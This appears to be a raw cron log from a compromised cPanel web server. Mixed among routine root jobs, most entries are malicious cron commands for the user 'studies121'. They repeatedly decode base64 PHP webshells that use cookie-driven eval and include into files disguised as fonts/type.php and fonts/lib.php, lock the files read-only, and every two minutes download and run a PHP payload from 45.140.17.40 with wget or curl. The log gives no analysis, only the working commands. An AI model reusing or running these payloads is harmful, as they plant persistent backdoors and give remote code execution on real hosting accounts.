Aug 31 01:11:01 ip-184-168-122-23 CROND[3854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:11:01 ip-184-168-122-23 CROND[3855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:11:01 ip-184-168-122-23 CROND[3856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:12:01 ip-184-168-122-23 CROND[3938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:12:01 ip-184-168-122-23 CROND[3940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:12:01 ip-184-168-122-23 CROND[3941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:12:01 ip-184-168-122-23 CROND[3942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:12:01 ip-184-168-122-23 CROND[3943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:13:01 ip-184-168-122-23 CROND[4116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:13:01 ip-184-168-122-23 CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:13:01 ip-184-168-122-23 CROND[4118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:13:01 ip-184-168-122-23 CROND[4120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:14:01 ip-184-168-122-23 CROND[4204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:14:01 ip-184-168-122-23 CROND[4206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:14:01 ip-184-168-122-23 CROND[4207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:14:01 ip-184-168-122-23 CROND[4211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:14:01 ip-184-168-122-23 CROND[4212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:15:01 ip-184-168-122-23 CROND[4300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:16:01 ip-184-168-122-23 CROND[4389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:16:01 ip-184-168-122-23 CROND[4391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:16:01 ip-184-168-122-23 CROND[4394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:16:01 ip-184-168-122-23 CROND[4392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:16:01 ip-184-168-122-23 CROND[4393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:16:01 ip-184-168-122-23 CROND[4395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:17:01 ip-184-168-122-23 CROND[4496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:17:01 ip-184-168-122-23 CROND[4500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:17:01 ip-184-168-122-23 CROND[4498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:17:01 ip-184-168-122-23 CROND[4499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:18:01 ip-184-168-122-23 CROND[4658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:18:01 ip-184-168-122-23 CROND[4663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:18:01 ip-184-168-122-23 CROND[4660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:18:01 ip-184-168-122-23 CROND[4662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:18:01 ip-184-168-122-23 CROND[4661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:19:02 ip-184-168-122-23 CROND[4746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:19:02 ip-184-168-122-23 CROND[4747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:19:02 ip-184-168-122-23 CROND[4748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:19:02 ip-184-168-122-23 CROND[4749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:20:01 ip-184-168-122-23 CROND[4835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:20:01 ip-184-168-122-23 CROND[4842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:20:01 ip-184-168-122-23 CROND[4844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:21:01 ip-184-168-122-23 CROND[4942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:21:01 ip-184-168-122-23 CROND[4944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:21:01 ip-184-168-122-23 CROND[4945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:21:01 ip-184-168-122-23 CROND[4947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:22:01 ip-184-168-122-23 CROND[5026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:22:01 ip-184-168-122-23 CROND[5027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:22:01 ip-184-168-122-23 CROND[5025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:22:01 ip-184-168-122-23 CROND[5028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:22:01 ip-184-168-122-23 CROND[5024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:23:01 ip-184-168-122-23 CROND[5106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
